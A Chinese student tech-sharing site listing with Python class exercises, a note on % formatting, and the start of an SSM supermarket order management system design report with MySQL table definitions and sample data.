分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019 2020

技术文章列表

  • 上传资源,获取积分 精华

    上传资源,获取积分“WRITE-BUG技术共享平台”是一个专注于校园计算机技术交流共享的平台,面向的主要目标群体是我们计算机相关专业的大学生。在平台上,大家既可以交流学校课内学习的心得体会,也可以分享自己课外积累的技术经验。
    为了充实平台的资源库,更好地服务于各位同学,平台决定推出“众源计划”,有偿征集同学们自己计算机专业的作业、课程设计或是毕业设计等资源。“众源计划”的主要目的是创建一个具有一定规模的“技术资源库”,资源库里的每一份资源,都必须有详细的开发文档和可编译的源代码。
    作业、课程设计或是毕业设计等资源是同学们自己辛苦付出的成果,也是自己技术进步的见证。这部分资源通常都有详细的开发文档和完整的程序源代码,能够帮助其他初学者更好地消化和吸收将要学习的技术,降低学习门槛。所以,平台决定积分奖励征集这些资源。
    具体要求奖励方式
    资源上传并审核通过后,根据资源质量,奖励每贴 10 - 100 点积分
    上传流程
    会员登录自己的账号上传资源
    资源上传后,管理员会在 24 小时之内审核资源
    审核通过后,管理员会立即发放奖励积分至所对应账户

    审核重点
    重点审核资源是否具有详细的文档和完整的源代码
    审查资源是否原创,切勿重复提交

    资源要求“众源计划”仅对两类资源进行积分奖励征集,分别是“课内资源”和“课外资源”,各类资源具体要求如下所示。

    课内资源

    内容范围:计算机相关专业课内的毕业设计、课程设计、小学期、大作业等课程内开发的程序,程序包括游戏、PC程序、APP、网站或者其他软件形式
    内容要求:资源必须要包括完整的程序源代码和详细的开发文档或报告

    课外资源

    内容范围:计算机相关专业的课外自己主导研究游戏、项目、竞赛、个人研究等,区别于课程设计和毕业设计等课内资源
    内容要求:资源必须要包括完整的程序源代码和详细的开发文档或报告


    使用须知** 在上传资源前,请花两分钟阅读 “使用须知” 部分内容 **
    21 留言 2019-01-24 09:26:15 奖励100点积分
  • python算法练习题

    冰其淋小店是一种特殊的餐馆

    编写一个名为IceCreamStand的类,让它继承你为完成练习1或练习4而编写的Restaurant类
    这两个版本Restaurant类都可以,挑选你更喜欢的那个即可
    添加一个名为flavors的属性,用于存储一个由各种口味的冰淇淋组成的列表
    编写一个显示这些冰淇淋的方法。创建一IceCreamStand实例,并调用这个方法

    from Restaurant import Restaurantclass IceCreamStand(Restaurant): def __init__(self,restaurant_name,cuisine_type,flavors,number_served = 0): super(IceCreamStand, self).__init__(restaurant_name,cuisine_type,number_served = 0) self.flavor=flavors def getInfo(self): print('这家参观的名字是%s,特色菜是%s,冰欺凌的主要口味有%s'%(self.restaurant_name,self.cuisine_type,self.flavor))IceCreamStand1=IceCreamStand('海底捞','火锅',['火山岩','草莓味','奶油味'])IceCreamStand1.getInfo()
    管理员是一种特殊的用户

    编写一个名为Admin的类,让它继承你为完成练习3或练习5而编写的User类
    添加一个名为privileges的属性,用于存储一个由字符串(如“can add post”、“can delete post”、“can ban user”等)组成的列表
    编写一个名为show_privileges()的方法,它显示管理员的权限,创建一个Admin实例,并调用这个方法

    from user import userclass Admin(user): privileges=['can add post','can delete post','can ban user'] def __int__(self,first_name,last_name,age,sex,phone,login_attempts=0): super(Admin, self).__int__(first_name,last_name,age,sex,phone,login_attempts=0) def show_privileges(self): print('管理员:%s%s有以下权限:'%(self.first_name,self.last_name)) for i in Admin.privileges: print(i)admin1=Admin('su','san',18,'女','19999999999','上海')admin1.show_privileges()
    亡者农药小游戏

    创建三个游戏人物,分别是:

    属性:
    名字:name定位:category血量:Output技能:Skill
    英雄
    铠,战士,血量:1000 技能:极刃风暴王昭君,法师 ,血量:1000 技能:凛冬将至阿轲,刺客,血量:1000 技能:瞬华

    游戏场景,分别:

    偷红buff,释放技能偷到红buff消耗血量300solo战斗,一血,消耗血量500补血,加血200

    class hero(): def __init__(self,name,category,skill,output=1000,score=0): self.name=name self.category=category self.skill=skill self.output=output self.score=score #战斗场景一 :偷红BUFF def red_buff(self): self.output-=300 print('%s%s释放技能偷的红BUFF,消耗血量%d'%(self.category,self.name,self.output)) # 战斗场景二 :solo def solo(self,n=1): self.output -= 500 if self.output<0: print('%s%s送出了一血'%(self.category,self.name)) else: if self.score==0: self.score+=n print('%s%s释放技取得一血,消耗血量500,拿到%d人头'%(self.category, self.name,self.score)) else: self.score += n print('%s%s释放技,消耗血量500,拿到%d人头' % (self.category, self.name,n)) # 战斗场景三 :补血 def add_blood(self): self.output+=200 print('%s%s被辅助加血200,现在的血量为%d'%(self.category, self.name,self.output)) #查看英雄属性 def getInfo(self): if self.output<=0: print('%s%s已死亡等待复活,已取得人头%d'%(self.category, self.name,self.score)) else: print('%s%s已超神,血量还有%d'%(self.category, self.name,self.output)) #实例化对象kai=hero('凯','战士','极寒风暴')kai.red_buff()kai.getInfo()kai.solo()kai.getInfo()kai.add_blood()
    模拟一个简单的银行进行业务办理的类

    类:创建一个银行类
    属性:

    一个属于银行的类属性,用来存储所用银行的开户信息,包含卡号、密码、用户名、余额(外界不能随意访问和修改。开户时要进行卡号验证,查看卡号是否已经存在)每个对象拥有卡号、密码、用户名、余额(外界不能随意访问和更改)
    方法:

    银行类拥有:
    查看本银行的开户总数查看所有用户的个人信息(包含卡号、密码、用户名、余额)
    每个对象拥有:
    实例化对象的时候传入相关参数,初始化对象及类属性取钱(需要卡号和密码验证),通过验证卡号和密码对个人的余额进行操作,如果取钱大于余额,返回余额不足存钱(需要卡号和密码验证),通过验证卡号和密码对个人的余额进行操作,返回操作成功查看个人详细信息(需要卡号密码验证),返回个人的卡号,用户名,余额信息


    class Bank(): #一个属于银行的类属性 __Users = {} #每个对象拥有 卡号、密码、用户名、余额 def __init__(self,CradId,pwd,name,balance): if CradId not in Bank.__Users: Bank.__Users[CradId] = {'pwd':pwd,'Username':name,'Balance':balance} self.__CradId = CradId self.__pwd = pwd self.__name = name self.__balance = balance #查看本银行的开户总数 @classmethod def nums(cls): print('当前用户数:%d'%(len(cls.__Users))) #查看所有用户的个人信息(包含卡号、密码、用户名、余额) @classmethod def get_Users(cls): for key,val in cls.__Users.items(): print('卡号:%s \n 用户名:%s \n密码:%d \n 余额:%d'%(key,val['Username'],val['pwd'],val['Balance'])) print() #验证方法 @staticmethod def check_User(CradId,pwd): if (CradId in Bank.__Users) and (pwd == Bank.__Users[CradId]['pwd'] ): return True else: return False #验证金额 @staticmethod def check_money(money): if isinstance(money,int): return True else: return False # 取钱(需要卡号和密码验证) def q_money(self,CradId,pwd,money): if Bank.check_User(CradId,pwd): #开始取钱 if Bank.check_money(money): if Bank.__Users[CradId]['Balance'] >= money: Bank.__Users[CradId]['Balance'] -= money print('当前卡号%s,当前取款金额%d,当前余额%d'%(CradId,money,Bank.__Users[CradId]['Balance'])) else: print('余额不足') else: print('您输入的金额有误') else: print('卡号或者密码有误') def c_money(self,CradId,pwd,money): if Bank.check_User(CradId,pwd): #开始取钱 if Bank.check_money(money): Bank.__Users[CradId]['Balance'] += money print('当前卡号%s,当前存款金额%d,当前余额%d'%(CradId,money,Bank.__Users[CradId]['Balance'])) else: print('您输入的金额有误') else: print('卡号或者密码有误') #查看个人详细信息(需要卡号密码验证) def getInfo(self,CradId,pwd): if Bank.check_User(CradId, pwd): print('当前卡号%s,当前用户名%s,当前余额%d' % (CradId, Bank.__Users[CradId]['Username'], Bank.__Users[CradId]['Balance'])) else: print('卡号或者密码有误')joe = Bank('1001',111111,'joe',100)joe2 = Bank('1001',111111,'joe',100)Bank.nums()print('_'*50)Bank.get_Users()print('_'*50)joe.c_money('1001',111111,500)print('_'*50)joe.q_money('1001',111111,300)print('_'*50)joe.getInfo('1001',111111)
    0 留言 2020-09-22 10:21:02 奖励26点积分
  • Python 编程里面%、%s 和 % d 代表的意思


    %s,表示格化式一个对象为字符
    %d,整数

    "Hello, %s"%"zhang3" => "Hello, zhang3""%d"%33 => "33""%s:%d"%("ab",3) => "ab:3"

    %字符:标记转换说明符的开始。在%的左侧放置一个字符串(格式化字符串),而右侧则放置希望格式化的值。
    %s表示格式化规则

    1、
    '%s plus %s equals %s' % (1,2,2)Out[29]: '1 plus 2 equals 2'
    2、
    'Price of eggs: $%d' % 42Out[30]: 'Price of eggs: $42'
    3、
    单独使用时取余5%3:
    5%3Out[28]: 2/4
    4、
    LOTTERY_PRE = "LXG_LOT_"LOTTERY_ITEM = LOTTERY_PRE + '%s_ITEM'new_version = "20181007220245756"new_lobbery_item = LOTTERY_ITEM % new_versionprint(new_lobbery_item)输出 LXG_LOT_20181007220245756_ITEM
    1 留言 2020-08-04 19:48:23 奖励16点积分
  • 基于SSM的超市订单管理系统

    1 系统需求分析超市订单管理系统是一个专为连锁店、超市等商业场所提供订单管理平台的系统。该系统的目标是建立一个订单管理平台,为需要合理规划超市供应链、供应商以及工作人员提供的便捷的平台。该系统的主要业务需求包括记录并维护某超市的供应商信息,以及该超市与供应商之间的交易订单信息,包括三种角色,系统管理员经理,普通员工。
    1.1 系统功能分析本系统主要的功能是实现超市订单管理功能,以便为超市、连锁店提供以及其他负责人提供订单详情、联系方式等,系统的主要功能有以下五个方面:

    登录/注销:管理员可以在网站上登录浏览,离开时注销并退出
    订单管理:管理员可以浏览所有订单信息,并且通过点击查看了解订单详情信息
    供应商管理:管理员可以在网站浏览所有供应商信息,并在在与其他供应商达成合作之后,添加相关供应商信息,并且通过点击查看了解他们的联系方式等
    用户管理:管理员可以管理所有超市员工用户,对用户进行增删改查,对于离职或其他原因的未工作用户给予注销管理
    密码修改:管理员可对自己的账号密码进行修改,填写对应之前的正确密码以及新密码之后,即完成相关修改密码操作
    搜索功能:在以上管理界面中,均允许了管理员根据关键字进行搜索,要求搜索框中输入的字段必须完全包含在物品名称中,否则无法查询


    1.2 系统功能需求根据系统功能要求,该超市订单管理系统以管理员为中心的用户角色,可以将系统分解成几个模块来分别设计应用程序界面,如图 1.1所示。

    1.3 系统性能需求超市订单管理系统的开发是在Window10平台上,以SSM为架构,采用MySQL 作为数据库管理系统管理后台数据库。本系统是超市信息管理建设中必不可少的一部分,它实现了现代管理信息系统的大部分功能需要。使用本系统可以使超市管理更加方便快捷,合理的页面设计也使得这个用户充分享受到基于Internet管理信息系统的优越。本系统开发说明:
    1.3.1 功能完备在开发初期,查看了大量关于电子商务,管理信息系统,J2EE等方面的资料,同时借鉴了很多其他电子商务网站和管理信息的流程。经过总结,确定了满足需求分析的基本模块。系统总体设计上实现了整个系统模块的划分,系统主要包含5大模块,分别是:订单管理信息,供应商管理,用户管理,修改密码,登陆退出系统,基本上实现了综合管理系统的所有功能。 
    1.3.2 界面友好系统用户登陆到管理页面后,每页有导航和引领的作用。系统具有自适应的能力,同时导航条方便快捷的引导用户进行各种合理的操作。
    1.3.3 管理科学本系统一开始就从管理学的角度做出了详细细致的考虑,后来有参考了电子商务管理等,最后才做出了系统总体设计,因此可以讲该系统是较为科学的。
    系统的性能需求主要表现在数据库中的各个表需要频繁地被插入、删除以及更新。对于用户来说,系统地响应时间不宜太长,否则会降低用户体验。为此要求我们建立良好的表结构,加上足够的存储空间以及硬件性能。
    2 可行性分析2.1 研究前提随着我国经济情况的日新月异,飞速发展,涌现出许许多多的超市和便利店。越来越多的人喜欢到超市购物,超市里销售的商品也呈现出多种多样的变化趋势。我们开发一个超市订单管理系统,它可以对仓储各环节实施全过程控制管理,对整个进货、退货、盘点等各个环节的规范化作业,控制整个过程的正常运行。去掉了手工书写票据和送到机房输入的步骤,解决库房信息陈旧滞后的弊病,方便了仓库管理人员对物品的放置和调配,提高了工作效率。
    该系统容易被接受,具有简单易学性,便于管理等功能,是对超市订单管理的一种有效工具。
    2.2 设计要求2.2.1 安全性超市订单管理增强对产品规范的审计,重点确定该项目中需要审计的产品。买家只能针对卖家允许公开的信息进行查阅。买家只享受对自己账号内数据的查阅权,与定后处理权,订货支付权,申请退货权,不允许偷窥其他人。卖家只能针对买家允许公开的信息进行查阅。卖家只享受对自己账号内数据的查阅权,发货权,退款相应处理权,不允许偷窥其他人。
    2.2.2 系统性能管理员登录查看超市供应商与超市员工用户管理,可以进行增、删、改、查等操作。超市订单系统可以使超市的管理趋于正规化、现代化和系统化。本项目的产品可以达到以下目标:

    提高工作效率,减少返工
    业务流程的流水线化
    符合相关标准和规则
    与目前的应用产品相比较,提高了可用性或减少了失效程度

    2.2.3 可扩展性所有信息呈现,操作完全由打开的网页呈现并完成。本系统所占有的是超市市场,它追求的是简单、易学、易用,能够更好地解决管理人员的负担,能够辅助超市有效的管理物品。对于订单管理系统的用户,可满足对订单管理的需求,且此种需求被接受并且满足,其系统便可以推广。

    3 数据库设计3.1 数据库需求分析经过对超市管理系统的调查分析,得出用户的需求大致如下:

    管理员可以在系统中对订单、供应商以及用户进行增、删、改、查的处理
    管理员需要输入账号密码登录,并且可以增添新的管理员

    如下是利用数据流图方法对数据库做需求分析:
    第一步:由用户的需求,可以得到顶层数据流图如图3.1.1所示。

    第二步:超市订单管理系统的第1层数据流图如图3.1.2所示。

    第三步:超市订单管理系统的第2层数据库流图——订单管理的细化数据流图如图3.1.3所示。

    第四步:超市订单管理系统的第2层数据流库——供应商管理的细化数据流图如图3.1.4所示。

    第五步:超市订单管理系统的第2层数据流库——用户管理的细化数据流图如图3.1.5所示。

    根据如上的数据流程图,可以列出以下记录超市订单管理所需的数据项和数据结构:

    管理员:管理员ID、管理员姓名、管理员密码、管理员性别、管理员角色、管理员出生日期、管理员电话、管理员住址
    订单:订单编码、商品名称、供应商名称、订单金额、是否付款
    供应商:供应商编码、供应商名称、联系人、联系电话、微信

    3.2 数据库概念结构设计本系统一共有用户、供应商、订单、角色、地址这五个基本实体。
    管理员可以对应多个订单,而一个订单只能对应于一个管理员。管理员可以管理多个供应商,而一个供应商只能对应于一个管理员。一个供应商可以对应多条订单,但一条订单只能对应于一个供应商。此外,有一个用户对应一个角色,一个角色对应多个用户;一个地址对应多个订单,一个订单对应一个地址。数据库表之间的关系如下:


    用户:主键ID、用户编码、用户名称、用户密码、性别、出生日期、手机、地址、用户角色、创建者、创建时间、更新者、更新时间、用户头像、工作照
    账单:订单编号、订单编码、商品名称、商品描述、商品单位、商品数量、商品总额、是否支付、创建者、创建时间、更新者、更新时间、供应商ID
    供应商:供应商ID、供货商编码、供货商名称、供应商详细描述、供应商联系人、联系电话、地址、微信、创建者、创建时间、更新时间、更新者、营业执照、组织机构代码证
    地址:主键ID、联系人姓名、收货地址明细、邮编、联系人电话、创建者、创建日期、修改者、修改时间、用户ID
    角色:角色编号、角色编码、角色名称、创建者、创建时间、修改者、修改时间

    3.3 数据库逻辑结构设计将概念结构设计中的各个模型转化为DBMS支持的表结构,同时保持不会出现插入异常、删除异常和修改异常,表结构应该做到符合3NF。根据系统 E-R 图,需要设计4个数据表来存放信息。在本系统中,一共有五个实体,实体转化为数据库模型为如下所示:
    一对多联系转化为一个关系模式:

    用户—订单(用户编号,订单编号)
    供货商—订单(供货商编号,订单编号)
    用户—身份(用户编号,身份编号)
    用户—地址(用户编号)

    利用以上关系模式得到的所有数据表如下所示:
    用户表(smbms_user)

    数据项:主键ID、用户编码、用户名称、用户密码、性别、出生日期、手机、地址、用户角色、创建者、创建时间、更新者、更新时间、用户头像、工作照
    说明:用户ID是唯一的用户标识,使此表的主键。如表3.3.1所示。




    列名
    数据类型
    数据长度
    可否为空
    备注




    Id
    bigint
    20
    Not null
    主键ID


    userCode
    varchar
    15
    Not null
    用户编码


    userName
    varchar
    15
    Not null
    用户名称


    userPassword
    varchar
    15
    Not null
    用户密码


    gender
    int
    10

    性别


    birthday
    date


    出生日期


    phone
    varchar
    15

    手机


    address
    varchar
    30

    地址


    userRole
    int
    10

    用户角色


    createdBy
    bigint
    20

    创建者


    creationDate
    datetime


    创建时间


    modifyBy
    bigint
    20

    更新者


    modifyDate
    datetime


    更新时间


    idPicPath
    varchar
    300

    用户头像


    workPicPath
    varchar
    300

    工作照



    供应商表(smbms_provider)

    数据项:供应商ID、供货商编码、供货商名称、供应商详细描述、供应商联系人、联系电话、地址、微信、创建者、创建时间、更新时间、更新者、营业执照、组织机构代码证
    说明:这张表标识的是超市管理信息系统中商品供应商的信息列表,供应商ID是该表的主键
    编号方法:商品供应商ID采用自动生成方式,如表3.3.2所示。




    列名
    数据类型
    数据长度
    可否为空
    备注




    Id
    Bigint
    20
    Not null
    供货商ID(主键)


    proCode
    Varchar
    20
    Not null
    供货商编码


    proName
    varchar
    20
    Not null
    供货商名称


    ProDesc
    varchar
    50

    供应商详细描述


    proContact
    varchar
    20
    Not null
    供货商联系人


    proPhone
    Varchar
    20
    Not null
    联系电话


    ProAddress
    Varchar
    50
    Not null
    供货商地址


    proFax
    varchar
    20

    微信


    CreateBy
    bigint
    20

    创建者


    CreatationDate
    datetime


    创建时间


    modifyDate
    datetime


    更新时间


    modifyBy
    bigint
    20

    更新者


    companyLicPicPath
    varchar
    300

    营业执照


    orgCodePicPath
    varchar
    300

    组织机构代码证



    订单表(smbms_bill)

    数据项:订单编号、订单编码、商品名称、商品描述、商品单位、商品数量、商品总额、是否支付、创建者、创建时间、更新者、更新时间、供应商ID
    说明:这张表标识的是超市管理信息系统订单信息列表,订单ID是该表的主键
    编号方法:订单ID采用自动生成方式,供应商ID与供应商表中供应商ID一一对应,如表3.3.3所示。




    列名
    数据类型
    数据长度
    可否为空
    备注




    Id
    bigint
    20
    Not null
    订单ID(主键)


    billCode
    varchar
    20
    Not null
    订单编码


    ProductName
    Varchar
    20
    Not null
    商品名称


    ProductDescent
    Varchar
    50
    Not null
    商品描述


    ProductUnit
    Varchar
    10
    Not null
    商品单位


    ProductCount
    Decimal
    20,2
    Not null
    商品数量


    totalPrice
    Decimal
    20,2
    Not null
    商品总额


    isPayment
    int
    10
    Not null
    是否支付


    createdBy
    bigint
    20

    创建者


    creationDate
    Datetime


    创建时间


    modifyBy
    bigint
    20

    更新者


    modifyDate
    datetime


    更新时间


    providerID
    Int
    20

    供应商ID



    身份表(smbms_role)

    数据项:角色编号、角色编码、角色名称、创建者、创建时间、修改者、修改时间
    说明:这张表标识的是超市订单管理信息系统中用户身份列表,身份编号是该表的主键
    编号方法:用户身份编号与用户表中的员工身份编号一一对应,如表3.3.4所示。




    列名
    数据类型
    数据长度
    可否为空
    备注




    Id
    bigint
    20
    Not null
    角色ID(主键)


    RoleCode
    varchar
    15
    Not null
    角色编码


    roleName
    Varchar
    15
    Not null
    角色名称


    createdBy
    bigint
    20

    创建者


    creationDate
    datetime


    创建时间


    modifyBy
    bigint
    20

    修改者


    modifyDate
    datetime


    修改时间



    地址表(smbms_address)

    数据项:主键ID、联系人姓名、收货地址明细、邮编、联系人电话、创建者、创建日期、修改者、修改时间、用户ID
    编号方法:用户ID与用户表中的用户ID一一对应,如表3.3.5所示。




    列名
    数据类型
    数据长度
    可否为空
    备注




    Id
    bigint
    20
    Not null
    主键ID(主键)


    Contact
    varchar
    15
    Not null
    联系人姓名


    addressDesce
    Varchar
    50
    Not null
    收货地址明细


    postcode
    Varchar
    15

    邮编


    Tel
    Varchar
    20
    Not null
    联系人电话


    createdBy
    bigint
    20

    创建者


    creationDate
    Datetime


    创建时间


    modifyBy
    bigint
    20

    修改者


    modifyDate
    datetime


    修改时间


    userID
    Bigint
    20

    用户ID



    数据库连接利用了SSM框架的底层的MyBatis,建立了实体类与MySQL之间映射关系,从而实现数据持久化、封装数据库连接等操作。
    3.4 数据库物理结构设计3.4.1 选择关系模式的存取方式对数据库逻辑结构设计中建立的表结构,供应商表的供应商编号属性唯一决定每一个供应商元组,所以对供应商表建立以供应商编号为主关键字的索引。同理,对管理员关系模式、订单关系模式也采用类似的索引存取方法。
    3.4.2 数据表存储结构设计本系统的所有数据表均存放在物理磁盘中。用户表、供应商表和订单表的结构是相对稳定的,表中的已有记录是要长期保存的,在此基础上系统会相应用户的操作对数据表进行增、删、改、查等操作。

    3.5 数据库的建立3.5.1 数据库的建立创建数据库
    create database smbms;USE smbms;
    创建表smbms_address
    DROP TABLE IF EXISTS `smbms_address`;CREATE TABLE `smbms_address` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键ID', `contact` varchar(15) COLLATE utf8_unicode_ci NOT NULL COMMENT '联系人姓名', `addressDesc` varchar(50) COLLATE utf8_unicode_ci NOT NULL COMMENT '收货地址明细', `postCode` varchar(15) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT '邮编', `tel` varchar(20) COLLATE utf8_unicode_ci NOT NULL COMMENT '联系人电话', `createdBy` bigint(20) DEFAULT NULL COMMENT '创建者', `creationDate` datetime DEFAULT NULL COMMENT '创建时间', `modifyBy` bigint(20) DEFAULT NULL COMMENT '修改者', `modifyDate` datetime DEFAULT NULL COMMENT '修改时间', `userId` bigint(20) DEFAULT NULL COMMENT '用户ID', PRIMARY KEY (`id`)) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
    创建表smbms_bill
    DROP TABLE IF EXISTS `smbms_bill`;CREATE TABLE `smbms_bill` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键ID', `billCode` varchar(20) COLLATE utf8_unicode_ci NOT NULL COMMENT '账单编码', `productName` varchar(20) COLLATE utf8_unicode_ci NOT NULL COMMENT '商品名称', `productDesc` varchar(50) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT '商品描述', `productUnit` varchar(10) COLLATE utf8_unicode_ci NOT NULL COMMENT '商品单位', `productCount` decimal(20,2) NOT NULL COMMENT '商品数量', `totalPrice` decimal(20,2) NOT NULL COMMENT '商品总额', `isPayment` int(10) NOT NULL COMMENT '是否支付(1:未支付 2:已支付)', `createdBy` bigint(20) DEFAULT NULL COMMENT '创建者(userId)', `creationDate` datetime DEFAULT NULL COMMENT '创建时间', `modifyBy` bigint(20) DEFAULT NULL COMMENT '更新者(userId)', `modifyDate` datetime DEFAULT NULL COMMENT '更新时间', `providerId` int(20) DEFAULT NULL COMMENT '供应商ID', PRIMARY KEY (`id`)) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
    创建表smbms_provider
    DROP TABLE IF EXISTS `smbms_provider`;CREATE TABLE `smbms_provider` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键ID', `proCode` varchar(20) COLLATE utf8_unicode_ci NOT NULL COMMENT '供应商编码', `proName` varchar(20) COLLATE utf8_unicode_ci NOT NULL COMMENT '供应商名称', `proDesc` varchar(50) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT '供应商详细描述', `proContact` varchar(20) COLLATE utf8_unicode_ci NOT NULL COMMENT '供应商联系人', `proPhone` varchar(20) COLLATE utf8_unicode_ci NOT NULL COMMENT '联系电话', `proAddress` varchar(50) COLLATE utf8_unicode_ci NOT NULL COMMENT '地址', `proFax` varchar(20) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT '微信', `createdBy` bigint(20) DEFAULT NULL COMMENT '创建者(userId)', `creationDate` datetime DEFAULT NULL COMMENT '创建时间', `modifyDate` datetime DEFAULT NULL COMMENT '更新时间', `modifyBy` bigint(20) DEFAULT NULL COMMENT '更新者(userId)', `companyLicPicPath` varchar(300) DEFAULT NULL COMMENT '营业执照', `orgCodePicPath` varchar(300) DEFAULT NULL COMMENT '组织机构代码证', PRIMARY KEY (`id`)) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
    创建表smbms_role
    DROP TABLE IF EXISTS `smbms_role`;CREATE TABLE `smbms_role` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键ID', `roleCode` varchar(15) COLLATE utf8_unicode_ci NOT NULL COMMENT '角色编码', `roleName` varchar(15) COLLATE utf8_unicode_ci NOT NULL COMMENT '角色名称', `createdBy` bigint(20) DEFAULT NULL COMMENT '创建者', `creationDate` datetime DEFAULT NULL COMMENT '创建时间', `modifyBy` bigint(20) DEFAULT NULL COMMENT '修改者', `modifyDate` datetime DEFAULT NULL COMMENT '修改时间', PRIMARY KEY (`id`)) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
    创建表smbms_user
    DROP TABLE IF EXISTS `smbms_user`;CREATE TABLE `smbms_user` ( `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键ID', `userCode` varchar(15) COLLATE utf8_unicode_ci NOT NULL COMMENT '用户编码', `userName` varchar(15) COLLATE utf8_unicode_ci NOT NULL COMMENT '用户名称', `userPassword` varchar(15) COLLATE utf8_unicode_ci NOT NULL COMMENT '用户密码', `gender` int(10) DEFAULT 2 COMMENT '性别(1:女、 2:男)', `birthday` date DEFAULT NULL COMMENT '出生日期', `phone` varchar(15) COLLATE utf8_unicode_ci NOT NULL COMMENT '手机', `address` varchar(30) COLLATE utf8_unicode_ci NOT NULL COMMENT '地址', `userRole` int(10) DEFAULT NULL COMMENT '用户角色(取自角色表-角色id)', `createdBy` bigint(20) DEFAULT NULL COMMENT '创建者(userId)', `creationDate` datetime DEFAULT NULL COMMENT '创建时间', `modifyBy` bigint(20) DEFAULT NULL COMMENT '更新者(userId)', `modifyDate` datetime DEFAULT NULL COMMENT '更新时间', `idPicPath` varchar(300) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT '用户头像', `workPicPath` varchar(300) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT '工作照', PRIMARY KEY (`id`)) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
    3.5.2 初始数据的输入数据表创建成功后,数据库中还没有实际的数据。为了保证外部键能使用,数据需要提前输入,如用户编码、用户姓名、订单名称和供应商等等。具体插入语句如下:
    向smbms_address表插入数据
    insert into `smbms_address`(`id`,`contact`,`addressDesc`,`postCode`,`tel`,`createdBy`,`creationDate`,`modifyBy`,`modifyDate`,`userId`) values (1,'王丽','北京市东城区东交民巷44号','100010','13678789999',1,'2020-04-13 00:00:00',NULL,NULL,1),(2,'张红丽','北京市海淀区丹棱街3号','100000','18567672312',1,'2020-04-13 00:00:00',NULL,NULL,1),(3,'任志强','北京市东城区美术馆后街23号','100021','13387906742',1,'2020-04-13 00:00:00',NULL,NULL,1),(4,'曹颖','北京市朝阳区朝阳门南大街14号','100053','13568902323',1,'2020-04-13 00:00:00',NULL,NULL,2),(5,'李慧','北京市西城区三里河路南三巷3号','100032','18032356666',1,'2020-04-13 00:00:00',NULL,NULL,3),(6,'王国强','北京市顺义区高丽营镇金马工业区18号','100061','13787882222',1,'2020-04-13 00:00:00',NULL,NULL,3);
    向smbms_bill表插入数据
    insert into `smbms_bill`(`id`,`billCode`,`productName`,`productDesc`,`productUnit`,`productCount`,`totalPrice`,`isPayment`,`createdBy`,`creationDate`,`modifyBy`,`modifyDate`,`providerId`) values (1,'BILL2016_001','洗发水、护发素','日用品-洗发、护发','瓶','500.00','25000.00',2,1,'2020-06-14 13:02:03',NULL,NULL,13),(2,'BILL2016_002','香皂、肥皂、药皂','日用品-皂类','块','1000.00','10000.00',2,1,'2020-03-23 04:20:40',NULL,NULL,13),(3,'BILL2016_003','大豆油','食品-食用油','斤','300.00','5890.00',2,1,'2020-05-14 13:02:03',NULL,NULL,6),(4,'BILL2016_004','橄榄油','食品-进口食用油','斤','200.00','9800.00',2,1,'2020-04-10 03:12:13',NULL,NULL,7),(5,'BILL2016_005','洗洁精','日用品-厨房清洁','瓶','500.00','7000.00',2,1,'2020-05-14 13:02:03',NULL,NULL,9),(6,'BILL2016_006','美国大杏仁','食品-坚果','袋','300.00','5000.00',2,1,'2020-04-14 06:08:09',NULL,NULL,4),(7,'BILL2016_007','沐浴液、精油','日用品-沐浴类','瓶','500.00','23000.00',1,1,'2020-07-01 10:10:22',NULL,NULL,14),(8,'BILL2016_008','不锈钢盘碗','日用品-厨房用具','个','600.00','6000.00',2,1,'2020-04-14 05:12:13',NULL,NULL,14),(9,'BILL2016_009','塑料杯','日用品-杯子','个','350.00','1750.00',2,1,'2020-02-04 11:40:20',NULL,NULL,14),(10,'BILL2016_010','豆瓣酱','食品-调料','瓶','200.00','2000.00',2,1,'2020-01-29 05:07:03',NULL,NULL,8),(11,'BILL2016_011','海之蓝','饮料-国酒','瓶','50.00','10000.00',1,1,'2020-04-14 16:16:00',NULL,NULL,1),(12,'BILL2016_012','芝华士','饮料-洋酒','瓶','20.00','6000.00',1,1,'2020-06-09 17:00:00',NULL,NULL,1),(13,'BILL2016_013','长城红葡萄酒','饮料-红酒','瓶','60.00','800.00',2,1,'2020-04-14 15:23:00',NULL,NULL,1),(14,'BILL2016_014','泰国香米','食品-大米','斤','400.00','5000.00',2,1,'2020-05-09 15:20:00',NULL,NULL,3),(15,'BILL2016_015','东北大米','食品-大米','斤','600.00','4000.00',2,1,'2020-05-14 14:00:00',NULL,NULL,3),(16,'BILL2016_016','可口可乐','饮料','瓶','2000.00','6000.00',2,1,'2020-03-27 13:03:01',NULL,NULL,2),(17,'BILL2016_017','脉动','饮料','瓶','1500.00','4500.00',2,1,'2020-05-10 12:00:00',NULL,NULL,2),(18,'BILL2016_018','哇哈哈','饮料','瓶','2000.00','4000.00',2,1,'2020-06-24 15:12:03',NULL,NULL,2);
    向smbms_provider表插入数据
